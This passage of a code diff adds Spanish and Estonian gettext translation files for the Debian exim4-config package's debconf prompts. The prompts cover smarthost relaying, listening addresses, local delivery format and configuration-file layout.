+#. Type: string
+#. Description
+#: ../exim4-config.templates:5001
+msgid "Do not mention local domains here. Wildcards may be used."
+msgstr "No mencione los dominios locales aquí. Puede utilizar comodines."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:6001
+msgid "Machines to relay mail for:"
+msgstr "Máquinas para las cuales reenviar correo:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:6001
+msgid ""
+"Please enter a semicolon-separated list of IP address ranges for which this "
+"system will unconditionally relay mail, functioning as a smarthost."
+msgstr ""
+"Introduzca una lista de rangos de direcciones IP para los que el sistema "
+"encaminará correo de forma incondicional, actuando para ellos como un "
+"«smarthost». Separe las direcciones con punto y coma."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:6001
+msgid ""
+"You should use the standard address/prefix format (e.g. 194.222.242.0/24 or "
+"5f03:1200:836f::/48)."
+msgstr ""
+"Use el formato estándar dirección/longitud (por ejemplo 194.222.242.0/24 o "
+"5f03:1200:836f::/48)."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:6001
+msgid ""
+"If this system should not be a smarthost for any other host, leave this list "
+"blank."
+msgstr ""
+"Deje este valor en blanco si el sistema no debe comportarse como un "
+"«smarthost» para ningún otro sistema."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:7001
+msgid "Visible domain name for local users:"
+msgstr "Nombre de dominio visible para usuarios locales:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:7001
+msgid ""
+"The option to hide the local mail name in outgoing mail was enabled. It is "
+"therefore necessary to specify the domain name this system should use for "
+"the domain part of local users' sender addresses."
+msgstr ""
+"Se ha activado la opción para ocultar el nombre de correo local en el correo "
+"saliente. Es necesario que especifique el nombre de dominio que el sistema "
+"debería utilizar para la parte de dominio de las direcciones de correo "
+"origen utilizadas para los usuarios locales."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:8001
+msgid "IP address or host name of the outgoing smarthost:"
+msgstr "Dirección IP o nombre de equipo para el «smarthost» saliente:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:8001
+msgid ""
+"Please enter the IP address or the host name of a mail server that this "
+"system should use as outgoing smarthost. If the smarthost only accepts your "
+"mail on a port different from TCP/25, append two colons and the port number "
+"(for example smarthost.example::587 or 192.168.254.254::2525). Colons in "
+"IPv6 addresses need to be doubled."
+msgstr ""
+"Introduzca la dirección IP o el nombre de equipo del servidor de correo que "
+"debería utilizarse como servidor saliente («smarthost»). Si el servidor sólo "
+"acepta su correo en un puerto distinto al puerto TCP/25 deberá incluir el "
+"número de puerto separándolo con dos signos de dos puntos (por ejemplo, "
+"«smarthost.ejemplo::587 ó 192.168.254.254::2525). Los dos puntos en "
+"direcciones IPv6 deberán escribirse dos veces."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:8001
+msgid ""
+"If the smarthost requires authentication, please refer to the Debian-"
+"specific README files in /usr/share/doc/exim4-base for notes about setting "
+"up SMTP authentication."
+msgstr ""
+"Si el «smarthost» requiere que el sistema se autentique deberá consultar "
+"cómo definir la configuración de la autenticación SMTP en los archivos "
+"README específicos de Debian en «/usr/share/doc/exim4-base/»."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:9001
+msgid "Root and postmaster mail recipient:"
+msgstr "Destinatario del correo de «root» y «postmaster»:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:9001
+msgid ""
+"Mail for the 'postmaster', 'root', and other system accounts needs to be "
+"redirected to the user account of the actual system administrator."
+msgstr ""
+"Debe redirigir los correos a «postmaster», «root» y otras cuentas del "
+"sistema a una cuenta del usuario que corresponda a la del administrador del "
+"sistema real."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:9001
+msgid ""
+"If this value is left empty, such mail will be saved in /var/mail/mail, "
+"which is not recommended."
+msgstr ""
+"Todo el correo de este tipo se almacenará en /var/mail/mail si deja vacío "
+"este valor, lo que no está recomendado."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:9001
+msgid ""
+"Note that postmaster's mail should be read on the system to which it is "
+"directed, rather than being forwarded elsewhere, so (at least one of) the "
+"users listed here should not redirect their mail off this machine. A 'real-' "
+"prefix can be used to force local delivery."
+msgstr ""
+"Tenga en cuenta que los mensajes dirigidos al administrador de correo "
+"(«postmaster») normalmente deberían leerse en el sistema al que va dirigido, "
+"en lugar de enviarse a otra parte. Así (al menos uno de) los usuarios que "
+"escoja no deberían reenviar su correo fuera de ésta máquina. Puede utilizar "
+"el prefijo «real-» para obligar a utilizar la entrega local."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:9001
+msgid "Multiple user names need to be separated by spaces."
+msgstr "Si introduce más de un nombre de usuario debe separarlos con espacios."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:10001
+msgid "IP-addresses to listen on for incoming SMTP connections:"
+msgstr "Direcciones IP en las que recibir conexiones SMTP entrantes:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:10001
+msgid ""
+"Please enter a semicolon-separated list of IP addresses. The Exim SMTP "
+"listener daemon will listen on all IP addresses listed here."
+msgstr ""
+"Introduzca una lista de direcciones IP separadas por punto y coma. El "
+"demonio que acepta las conexiones entrantes SMTP de Exim escuchará en todas "
+"las direcciones IP aquí listadas."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:10001
+msgid ""
+"An empty value will cause Exim to listen for connections on all available "
+"network interfaces."
+msgstr ""
+"Si deja este valor en blanco, Exim podrá recibir conexiones desde cualquier "
+"interfaz de red disponible."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:10001
+msgid ""
+"If this system only receives mail directly from local services (and not from "
+"other hosts), it is suggested to prohibit external connections to the local "
+"Exim daemon. Such services include e-mail programs (MUAs) which talk to "
+"localhost only as well as fetchmail. External connections are impossible "
+"when 127.0.0.1 is entered here, as this will disable listening on public "
+"network interfaces."
+msgstr ""
+"Es recomendable prohibir conexiones externas a Exim si este equipo sólo "
+"recibe correo directamente de servicios locales (y no de otros equipos). "
+"Estos servicios incluyendo los programas cliente de correo (MUA) que sólo "
+"envían correo a «localhost» así como fetchmail. No podrán realizarse "
+"conexiones de forma externa si introduce aquí el valor '127.0.0.1', de esta "
+"forma desactivará la escucha en las interfaces conectadas a redes públicas."
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:11001
+msgid "Keep number of DNS-queries minimal (Dial-on-Demand)?"
+msgstr "¿Limitar el número de consultas de DNS (marcación bajo demanda)?"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:11001
+msgid ""
+"In normal mode of operation Exim does DNS lookups at startup, and when "
+"receiving or delivering messages. This is for logging purposes and allows "
+"keeping down the number of hard-coded values in the configuration."
+msgstr ""
+"En el modo normal de operación, Exim hace consultas de DNS al iniciar y "
+"cuando recibe o entrega mensajes. Estas consultas se hacen para poder "
+"mantener registros y para mantener pequeño el número de valores fijos "
+"grabados en el archivo de configuración."
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:11001
+msgid ""
+"If this system does not have a DNS full service resolver available at all "
+"times (for example if its Internet access is a dial-up line using dial-on-"
+"demand), this might have unwanted consequences. For example, starting up "
+"Exim or running the queue (even with no messages waiting) might trigger a "
+"costly dial-up-event."
+msgstr ""
+"Si este sistema no tiene acceso permanente a servidores de nombres DNS (es "
+"el caso cuando se usa marcación bajo demanda o una línea de acceso "
+"telefónico) esto podría tener consecuencia no deseadas. Por ejemplo, se "
+"podría llegar a intentar realizar una evento de conexión (que genere una "
+"llamada costosa) al iniciar exim o procesar la cola del correo (incluso "
+"aunque no haya mensajes en espera)."
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:11001
+msgid ""
+"This option should be selected if this system is using Dial-on-Demand. If it "
+"has always-on Internet access, this option should be disabled."
+msgstr ""
+"Debería seleccionar esta opción si su sistema utiliza marcación bajo "
+"demanda. No la habilite si su sistema está permanentemente conectado a "
+"Internet."
+
+#. Type: title
+#. Description
+#: ../exim4-config.templates:12001
+msgid "Mail Server configuration"
+msgstr "Configuración del servidor de correo:"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:13001
+msgid "Split configuration into small files?"
+msgstr "¿Dividir la configuración en pequeños ficheros?"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:13001
+msgid ""
+"The Debian exim4 packages can either use 'unsplit configuration', a single "
+"monolithic file (/etc/exim4/exim4.conf.template) or 'split configuration', "
+"where the actual Exim configuration files are built from about 50 smaller "
+"files in /etc/exim4/conf.d/."
+msgstr ""
+"Los paquetes Debian de exim4 pueden usar una «configuración concentrada», es "
+"decir, un único fichero monolítico («/etc/exim4.conf.template»), o bien una "
+"«configuración segmentada» donde la configuración de Exim se construye "
+"utilizando cerca de 50 ficheros pequeños en «/etc/exim4/conf.d/»."
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:13001
+msgid ""
+"Unsplit configuration is better suited for large modifications and is "
+"generally more stable, whereas split configuration offers a comfortable way "
+"to make smaller modifications but is more fragile and might break if "
+"modified carelessly."
+msgstr ""
+"La configuración concentrada se adapta mejor a grandes modificaciones y es "
+"generalmente más estable, mientras que la configuración segmentada ofrece "
+"una manera cómoda de hacer pequeñas modificaciones pero es más frágil y "
+"podría romperse si se modifica sin las debidas precauciones."
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:13001
+msgid ""
+"A more detailed discussion of split and unsplit configuration can be found "
+"in the Debian-specific README files in /usr/share/doc/exim4-base."
+msgstr ""
+"Encontrará una discusión pormenorizada sobre la configuración segmentada y "
+"concentrada en los ficheros específicos de Debian en «/usr/share/doc/exim4-"
+"base/»."
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:14001
+msgid "Hide local mail name in outgoing mail?"
+msgstr "¿Desea ocultar el nombre de correo local en los mensajes salientes?"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:14001
+msgid ""
+"The headers of outgoing mail can be rewritten to make it appear to have been "
+"generated on a different system. If this option is chosen, '${mailname}', "
+"'localhost' and '${dc_other_hostnames}' in From, Reply-To, Sender and Return-"
+"Path are rewritten."
+msgstr ""
+"Las cabeceras de los mensajes salientes pueden reescribirse para que parezca "
+"que se han generado en un sistema distinto. Si elige esta opción se "
+"reescibirán «${mailname}», «localhost» y «${dc_other_hostnames}» en el "
+"«From», «Reply-To», «Sender» y «Return-Path»."
+
+#. Type: select
+#. Choices
+#: ../exim4-config.templates:15001
+msgid "mbox format in /var/mail/"
+msgstr "formato mbox en «/var/mail»"
+
+#. Type: select
+#. Choices
+#: ../exim4-config.templates:15001
+msgid "Maildir format in home directory"
+msgstr "formato «Maildir» en el directorio personal"
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:15002
+msgid "Delivery method for local mail:"
+msgstr "Mecanismo de entrega para el correo local:"
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:15002
+msgid ""
+"Exim is able to store locally delivered email in different formats. The most "
+"commonly used ones are mbox and Maildir. mbox uses a single file for the "
+"complete mail folder stored in /var/mail/. With Maildir format every single "
+"message is stored in a separate file in ~/Maildir/."
+msgstr ""
+"Exim puede almacenar el correo entregado localmente en distintos formatos. "
+"Los formatos más comunes son mbox y Maildir. El formato mbox utiliza un "
+"único fichero para todo el buzón de correo que se almacenan en «/var/mail». "
+"Con el formato Maildir cada uno de los mensajes se almacena en un fichero "
+"distinto en «~/Maildir/»."
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:15002
+msgid ""
+"Please note that most mail tools in Debian expect the local delivery method "
+"to be mbox in their default."
+msgstr ""
+"Tenga en cuenta que la mayoría de las herramientas de correo en Debian "
+"esperan que el mecanismo de entrega local sea a ficheros mbox en su "
+"configuración por omisión."
+
+#~ msgid "Move undelivered mails from exim 3 to exim4 spool?"
+#~ msgstr ""
+#~ "¿Mover el correo aún no entregado de exim 3 a la cola de correo de exim4?"
+
+#~ msgid ""
+#~ "There are some undelivered mails in exim 3 (or exim-tls 3) spool "
+#~ "directory /var/spool/exim/input/."
+#~ msgstr ""
+#~ "Hay algunos mensajes de correo no entregados de exim 3 (o de exim-tls 3) "
+#~ "en en el directorio de la cola de correo: «/var/spool/exim/input/»."
+
+#~ msgid ""
+#~ "Choosing this option will move these messages to exim4's spool (/var/"
+#~ "spool/exim4/input/) where they will be handled by exim4."
+#~ msgstr ""
+#~ "Si elige esta opción se moverán ahora a la cola de exim4 («/var/spool/"
+#~ "exim4/input/») donde serán gestionados por exim4."
+
+#~ msgid ""
+#~ "This works only one-way: Exim4 can handle Exim 3 spool but not vice-"
+#~ "versa. If you reject this option, you need to move the messages yourself "
+#~ "or they will never be delivered."
+#~ msgstr ""
+#~ "Esto funciona solamente en un sentido, es decir, Exim4 puede gestionar la "
+#~ "cola de Exim 3 pero no al contrario. Si rechaza esta opción, deberá mover "
+#~ "los mensajes manualmente o nunca se enviarán."
+
+#~ msgid "Leaving this list blank will have Exim do no local deliveries."
+#~ msgstr "Si deja esta lista en blanco entonces Exim no hará entrega local."
+
+#~ msgid ""
+#~ "This works only one-way: exim4 can handle exim(v3)'s spool but not vice-"
+#~ "versa."
+#~ msgstr ""
+#~ "Tenga presente que esto funciona solamente en un sentido, es decir, exim4 "
+#~ "puede gestionar la cola de exim(v3) pero no al contrario. "
+
+#~ msgid ""
+#~ "So it is only advisable to move the messages only if it is not planned to "
+#~ "go back to Exim(v3). If a rollback might be necessary, it is a better "
+#~ "idea to refrain from moving the messages now but moving them manually at "
+#~ "a later time."
+#~ msgstr ""
+#~ "Sólo es recomendable mover los mensajes si no piensa volver a utilizar "
+#~ "Exim(v3). Si puede necesitar hacer una marcha atrás será mejor que no "
+#~ "mueva los mensajes de momento y lo haga manualmente más adelante."
+
+#~ msgid ""
+#~ "Domains listed here need to be separated by semicolons. Wildcards may be "
+#~ "used."
+#~ msgstr ""
+#~ "Separe los dominios introducidos aquí con dos puntos. Puede usar "
+#~ "comodines."
+
+#~ msgid ""
+#~ "Move the mails only if you don't plan to go back to exim(v3), otherwise "
+#~ "the mail shouldn't be moved now but manually once you've converted your "
+#~ "setup."
+#~ msgstr ""
+#~ "Mueva los mensajes de correo solamente si no tiene pensado volver a usar "
+#~ "exim(v3). Si esto no es así, no debería mover el correo ahora, sino "
+#~ "manualmente una vez que haya adaptado su configuración."
+
+#~ msgid ""
+#~ "If there are any more, enter them here, separated by semicolons. You may "
+#~ "leave this blank if there are none."
+#~ msgstr ""
+#~ "Si hay algunos más, introdúzcalos aquí, separados por dos puntos. Puede "
+#~ "dejarlo en blanco si no hay ninguno."
+
+#~ msgid ""
+#~ "Please enter here the domains for which this system will relay mail, for "
+#~ "example as a fallback MX or mail gateway."
+#~ msgstr ""
+#~ "Por favor introduzca aquí los dominios a los que permite que reenvíen "
+#~ "correo, por ejemplo como pasarela de correo o respaldo MX."
+
+#~ msgid ""
+#~ "Such domains are domains for which you are prepared to accept mail from "
+#~ "anywhere on the Internet. Do not mention local domains here."
+#~ msgstr ""
+#~ "Estos dominios son aquellos para los que usted está dispuesto a admitir "
+#~ "correo desde cualquier parte de Internet. No indique aquí dominios "
+#~ "locales."
+
+#~ msgid ""
+#~ "Since you enabled hiding the local mailname in outgoing mail, you must "
+#~ "specify the domain name to use for mail from local users; typically this "
+#~ "is the machine on which you normally receive your mail."
+#~ msgstr ""
+#~ "Dado que ha activo la ocultación del nombre de correo local en el correo "
+#~ "saliente, debe especificar el nombre de dominio a usar para el correo de "
+#~ "los usuarios locales. Habitualmente es el nombre de la máquina en la que "
+#~ "normalmente recibe su correo."
+
+#~ msgid "Where will your users read their mail?"
+#~ msgstr "¿Dónde leerán el correo sus usuarios?"
+
+#~ msgid "Machine handling outgoing mail for this host (smarthost):"
+#~ msgstr ""
+#~ "Máquina que gestiona el correo saliente en este servidor («smarthost»):"
+
+#~ msgid "Enter the hostname of the machine to which outgoing mail is sent."
+#~ msgstr ""
+#~ "Introduzca el nombre del servidor al que se envía el correo saliente."
+
+#~ msgid ""
+#~ "Mail for the \"postmaster\", \"root\", and other system accounts is "
+#~ "usually redirected to the user account of the actual system "
+#~ "administrator. If you leave this value empty, such mail will be saved in /"
+#~ "var/mail/mail, which is not recommended. Note that postmaster's mail "
+#~ "should be read on the system to which it is directed, rather than being "
+#~ "forwarded elsewhere, so (at least one of) the users you choose should not "
+#~ "redirect their mail off this machine. Use a \"real-\" prefix to force "
+#~ "local delivery."
+#~ msgstr ""
+#~ "El correo para las cuentas del sistema «postmaster», «root», y algunas "
+#~ "otras habitualmente se reenvía a la cuenta de usuario del administrador "
+#~ "real del sistema. Si deja este valor vacío, este correo se almacenará en "
+#~ "«/var/mail/mail», lo cual no es recomendable. Tenga en cuenta que el "
+#~ "correo a «postmaster» debería leerse en el sistema al que se dirige, en "
+#~ "lugar de reenviarse a otro lugar, de forma que (al menos uno de) estos "
+#~ "usuarios no deberían redirigirse fuera de este equipo. Utilice el prefijo "
+#~ "«real-» para forzar el envío local."
+
+#~ msgid ""
+#~ "Enable this feature if you are using Dial-on-Demand; otherwise, disable "
+#~ "it."
+#~ msgstr ""
+#~ "Active esta función si esta usando marcación bajo demanda; en caso "
+#~ "contrario, desactívela."
+
+#~ msgid "Select the mail server configuration type that best fits your needs."
+#~ msgstr ""
+#~ "Seleccione la configuración de servidor de correo que se ajuste mejor a "
+#~ "sus necesidades."
+
+#~ msgid "If you are unsure then you should not use split configuration."
+#~ msgstr ""
+#~ "Si no está seguro no debería usar la configuración dividida en pequeños "
+#~ "ficheros."
+
+#~ msgid "manually convert from handcrafted Exim v3 configuration"
+#~ msgstr ""
+#~ "convierte manualmente a partir de la configuración manual de exim v3"
+
+#~ msgid "Configure Exim4 manually?"
+#~ msgstr "¿Configurar Exim4 manualmente?"
+
+#~ msgid ""
+#~ "You indicated that you have a handcrafted Exim 3 configuration. To "
+#~ "convert this to Exim 4, you can use the exim_convert4r4(8) tool after the "
+#~ "installation. Consult /usr/share/doc/exim4-base/examples/example.conf.gz "
+#~ "and /usr/share/doc/exim4-base/README.Debian.gz!"
+#~ msgstr ""
+#~ "Usted indicó que tiene una configuración manual de Exim 3. Para "
+#~ "convertirla a Exim4, puede usar la herramienta exim_convert4r4(8) después "
+#~ "de la instalación. ¡Consulte «/usr/share/doc/exim4-base/examples/example."
+#~ "conf.gz» y «/usr/share/doc/exim4-base/README.Debian.gz»!"
+
+#~ msgid ""
+#~ "Until your mail system is configured, it will be broken and cannot be "
+#~ "used."
+#~ msgstr ""
+#~ "Hasta que su sistema de correo no esté configurado, estará inutilizado y "
+#~ "no podrá usarse."
+
+#~ msgid ""
+#~ "Your \"mail name\" is the hostname portion of the address to be shown on "
+#~ "outgoing news and mail messages (following the username and @ sign) "
+#~ "unless hidden with rewriting."
+#~ msgstr ""
+#~ "Su «mail name» es el nombre de dominio en la dirección de correo que se "
+#~ "mostrará en los mensajes de noticias y de correo salientes (la que sigue "
+#~ "al nombre de usuario tras el signo @), a no ser que esté oculta mediante "
+#~ "reescritura."
+
+#~ msgid ""
+#~ "Please enter here the networks of local machines for which you accept to "
+#~ "relay the mail."
+#~ msgstr ""
+#~ "Por favor introduzca aquí las redes de máquinas locales que permite que "
+#~ "reenvíen correo."
+
+#~ msgid ""
+#~ "This should include a list of all machines that will use us as a "
+#~ "smarthost."
+#~ msgstr ""
+#~ "Esto debería incluir la lista de todas las máquinas que utilizarán este "
+#~ "sistema como «smarthost»."
+
+#~ msgid ""
+#~ "You need to double the colons in IPv6 addresses (e.g. "
+#~ "5f03::1200::836f::::/48)"
+#~ msgstr ""
+#~ "Debe duplicar los dos puntos en direcciones IPv6 (por ejemplo "
+#~ "5f03::1200::836f::::/48)"
+
+#~ msgid ""
+#~ "Enter a colon-separated list of IP-addresses to listen on. You need to "
+#~ "double the colons in IPv6 addresses (e.g. 5f03::1200::836f::::)."
+#~ msgstr ""
+#~ "Introduzca en una lista separada por dos puntos las direcciones IP en las "
+#~ "que escuchar. Debe duplicar los dos puntos en direcciones IPv6 (por "
+#~ "ejemplo 5f03::1200::836f::::)."
+
+#~ msgid "Configuring Exim v4 (exim4-config)"
+#~ msgstr "Configuración de Exim versión 4 (exim4-config)"
+
+#~ msgid ""
+#~ "If you are configuring this system without local mail delivery this name "
+#~ "won't appear on From: lines of mail, as rewriting is used."
+#~ msgstr ""
+#~ "Debido al uso de la reescritura de campos, este nombre no aparecerá en el "
+#~ "campo «From:» de la cabecera del correo si no ha configurando envío local "
+#~ "de correo para este sistema."
+
+#~ msgid ""
+#~ "Obviously, any machines that use us as a smarthost have to be excluded "
+#~ "from the relaying controls, as using us to relay mail for them is the "
+#~ "whole point."
+#~ msgstr ""
+#~ "Obviamente, cualquier servidor que nos utilice como «smarthost» ha de ser "
+#~ "excluído de los controles de reenvío, ya que la función primaria de "
+#~ "esteservidor de correo es permitirles que estos lo reenvien desde aquí."
+
+#~ msgid ""
+#~ "Mail for the \"postmaster\" and \"root\" accounts is usually redirected "
+#~ "to one or more user accounts of the actual system administrators. The "
+#~ "default is to set things up so that mail for \"postmaster\" and for "
+#~ "various system accounts is redirected to \"root\", and mail for \"root\" "
+#~ "is redirected to a real user. This can be changed by editing /etc/"
+#~ "aliases."
+#~ msgstr ""
+#~ "El correo de las cuentas de «postmaster» (administrador de correo) y "
+#~ "«root» (administrador) habitualmente se redirige a una o más cuentas de "
+#~ "usuario de los usuarios que son realmente administradores del sistema. El "
+#~ "valor por omisión es que el correo para «postmaster» y el de varias "
+#~ "cuentas del sistema se reenvía a «root», y el correo de «root» se reenvía "
+#~ "a un usuario real. Esto se puede cambiar editando «/etc/aliases»."
+
+#~ msgid ""
+#~ "System administrator mail goes to which user accounts? Enter one or more "
+#~ "usernames separated by spaces or commas. Enter \"none\" if you do not "
+#~ "want to redirect the mail. - NB this is strongly discouraged. Exim cannot "
+#~ "run deliveries as root and will save the mail to /var/mail/mail Also, "
+#~ "note that usernames should be lowercase!"
+#~ msgstr ""
+#~ "¿A qué cuentas de usuario irá el correo del administrador del sistema? "
+#~ "Introduzca uno o más nombres de usuario separados por espacios o comas. "
+#~ "Escriba «none» si no desea redirigir el correo. No se recomienda jamás "
+#~ "hacer ésto. Exim no puede efectuar entregas de correo como root y "
+#~ "guardará el correo en «/var/mail/mail». Asimismo, ¡tenga en cuenta que "
+#~ "los nombres de usuario estén en minúscula!"
diff --git a/debian/po/et.po b/debian/po/et.po
new file mode 100644
index 0000000..8d5133a
--- /dev/null
+++ b/debian/po/et.po
@@ -0,0 +1,751 @@
+msgid ""
+msgstr ""
+"Project-Id-Version: Exim\n"
+"Report-Msgid-Bugs-To: pkg-exim4-maintainers@lists.alioth.debian.org\n"
+"POT-Creation-Date: 2007-07-18 08:29+0200\n"
+"PO-Revision-Date: 2005-06-08 13:35+0300\n"
+"Last-Translator: Siim Põder <windo@windowlicker.dyn.ee>\n"
+"Language-Team: Debian-installer tlkemeeskond <debian-boot-et@linux.ee>\n"
+"Language: \n"
+"MIME-Version: 1.0\n"
+"Content-Type: text/plain; charset=utf-8\n"
+"Content-Transfer-Encoding: 8bit\n"
+"X-Poedit-Language: Estonian\n"
+"X-Poedit-Country: ESTONIA\n"
+
+#. Type: boolean
+#. Description
+#: ../exim4-base.templates:1001
+#, fuzzy
+msgid "Remove undelivered messages in spool directory?"
+msgstr "Kustutada puhverkataloogis olevad edastamata kirjad?"
+
+#. Type: boolean
+#. Description
+#: ../exim4-base.templates:1001
+#, fuzzy
+msgid ""
+"There are e-mail messages in the Exim spool directory /var/spool/exim4/"
+"input/ which have not yet been delivered. Removing Exim will cause them to "
+"remain undelivered until Exim is re-installed."
+msgstr ""
+"Exim'i puhverkataloogis /var/spool/exim4/input on mõned veel edastamata "
+"kirjad. Kui plaanid Exim'i kunagi uuesti paigaldada võid kirjad alles jätta, "
+"et nad peale paigaldamist ära saata. Võid need kirjad ka kustutada."
+
+#. Type: boolean
+#. Description
+#: ../exim4-base.templates:1001
+msgid ""
+"If this option is not chosen, the spool directory is kept, allowing the "
+"messages in the queue to be delivered at a later date after Exim is re-"
+"installed."
+msgstr ""
+
+#. Type: error
+#. Description
+#: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001
+#: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001
+msgid "Reconfigure exim4-config instead of this package"
+msgstr ""
+
+#. Type: error
+#. Description
+#: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001
+#: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001
+msgid ""
+"Exim4 has its configuration factored out into a dedicated package, exim4-"
+"config. To reconfigure Exim4, use 'dpkg-reconfigure exim4-config'."
+msgstr ""
+
+#. Type: select
+#. Choices
+#. Translators beware! the following six strings form a single
+#. Choices menu. - Every one of these strings has to fit in a standard
+#. 80 characters console, as the fancy screen setup takes up some space
+#. try to keep below ~71 characters.
+#. DO NOT USE commas (,) in Choices translations otherwise
+#. this will break the choices shown to users
+#: ../exim4-config.templates:1001
+msgid "internet site; mail is sent and received directly using SMTP"
+msgstr "interneti masin; kirjad saadetakse ja võetakse vastu läbi SMTP"
+
+#. Type: select
+#. Choices
+#. Translators beware! the following six strings form a single
+#. Choices menu. - Every one of these strings has to fit in a standard
+#. 80 characters console, as the fancy screen setup takes up some space
+#. try to keep below ~71 characters.
+#. DO NOT USE commas (,) in Choices translations otherwise
+#. this will break the choices shown to users
+#: ../exim4-config.templates:1001
+msgid "mail sent by smarthost; received via SMTP or fetchmail"
+msgstr "kirjad saadetakse läbi relee; võetakse vastu SMTP või fetchmailiga"
+
+#. Type: select
+#. Choices
+#. Translators beware! the following six strings form a single
+#. Choices menu. - Every one of these strings has to fit in a standard
+#. 80 characters console, as the fancy screen setup takes up some space
+#. try to keep below ~71 characters.
+#. DO NOT USE commas (,) in Choices translations otherwise
+#. this will break the choices shown to users
+#: ../exim4-config.templates:1001
+msgid "mail sent by smarthost; no local mail"
+msgstr "kirjad saadetakse läbi relee; kohalikke kirju pole"
+
+#. Type: select
+#. Choices
+#. Translators beware! the following six strings form a single
+#. Choices menu. - Every one of these strings has to fit in a standard
+#. 80 characters console, as the fancy screen setup takes up some space
+#. try to keep below ~71 characters.
+#. DO NOT USE commas (,) in Choices translations otherwise
+#. this will break the choices shown to users
+#: ../exim4-config.templates:1001
+msgid "local delivery only; not on a network"
+msgstr "vaid kohalikud kirjad; pole võrgus"
+
+#. Type: select
+#. Choices
+#. Translators beware! the following six strings form a single
+#. Choices menu. - Every one of these strings has to fit in a standard
+#. 80 characters console, as the fancy screen setup takes up some space
+#. try to keep below ~71 characters.
+#. DO NOT USE commas (,) in Choices translations otherwise
+#. this will break the choices shown to users
+#: ../exim4-config.templates:1001
+msgid "no configuration at this time"
+msgstr "hetkel ei seadista"
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:1002
+msgid "General type of mail configuration:"
+msgstr "E-posti üldine seadistus:"
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:1002
+#, fuzzy
+msgid ""
+"Please select the mail server configuration type that best meets your needs."
+msgstr "Vali sulle kõige paremini sobiv seadistustüüp."
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:1002
+#, fuzzy
+msgid ""
+"Systems with dynamic IP addresses, including dialup systems, should "
+"generally be configured to send outgoing mail to another machine, called a "
+"'smarthost' for delivery because many receiving systems on the Internet "
+"block incoming mail from dynamic IP addresses as spam protection."
+msgstr ""
+"Dünaamilise IP aadressiga süsteemid, sealhulgas sissehelistamisteenusega "
+"süsteemid, peaksid oma kirjad üldjuhul saatma läbi teise masina, mis on nõus "
+"neid kirju edastama (üldjuhul ISP meiliserver). Säärane süsteem võib kirju "
+"ka vastu võtta, kuid see pole kohustuslik (va kirjad kastutajatele root ja "
+"postmaster)"
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:1002
+msgid ""
+"A system with a dynamic IP address can receive its own mail, or local "
+"delivery can be disabled entirely (except mail for root and postmaster)."
+msgstr ""
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:2001
+msgid "Really leave the mail system unconfigured?"
+msgstr "Kas soovid tõesti postisüsteemi seadistamata jätta?"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:2001
+#, fuzzy
+msgid ""
+"Until the mail system is configured, it will be broken and cannot be used. "
+"Configuration at a later time can be done either by hand or by running 'dpkg-"
+"reconfigure exim4-config' as root."
+msgstr ""
+"Kuni postisüsteemi seadistamiseni on e-post kasutuskõlbmati. Loomulikult "
+"saad seda ka hiljem seadistada - kas siis käsitsi või käivitades "
+"juurkasutajana \"dpkg-reconfigure exim4-config\"."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:3001
+msgid "System mail name:"
+msgstr "Süsteemi postinimi:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:3001
+msgid ""
+"The 'mail name' is the domain name used to 'qualify' mail addresses without "
+"a domain name."
+msgstr ""
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:3001
+#, fuzzy
+msgid ""
+"This name will also be used by other programs. It should be the single, "
+"fully qualified domain name (FQDN)."
+msgstr ""
+"Seda nime kasutavad ka teised programmid. Ta peaks olema üks täispikk "
+"domeeninimi (FQDN), kust kõik selle masina kirjad pärinevad."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:3001
+msgid ""
+"Thus, if a mail address on the local host is foo@example.org, the correct "
+"value for this option would be example.org."
+msgstr ""
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:3001
+#, fuzzy
+msgid ""
+"This name won't appear on From: lines of outgoing messages if rewriting is "
+"enabled."
+msgstr ""
+"Seda nime pole kirja From: ridadel näha juhul, kui seadistad "
+"ümberkirjutamise."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:4001
+msgid "Other destinations for which mail is accepted:"
